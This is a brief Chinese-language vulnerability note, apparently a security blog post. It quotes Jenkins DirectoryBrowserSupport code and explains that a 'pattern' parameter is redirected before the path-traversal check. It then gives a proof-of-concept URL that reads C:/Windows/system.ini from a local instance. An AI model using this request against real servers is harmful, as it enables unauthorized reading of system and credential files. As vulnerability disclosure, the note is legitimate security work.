DirectoryBrowserSupport.class中可以看到，

String pattern = req.getParameter("pattern");
    if (pattern == null) {
      pattern = req.getParameter("path");
    }
    if (pattern != null) {
      rsp.sendRedirect2(pattern);
      return;
    }
    String path = getPath(req);
    if (path.replace('\\', '/').indexOf("/../") != -1)
    {
      rsp.sendError(400);
      return;
    }

程序只对/../开头的参数pattern进行过滤，所以测试一下http://127.0.0.1:8080/job/msearch-trunk/lastSuccessfulBuild/artifact/?pattern=C:/Windows/system.ini 即可任意文件下载。（只测试了windows环境）
如图：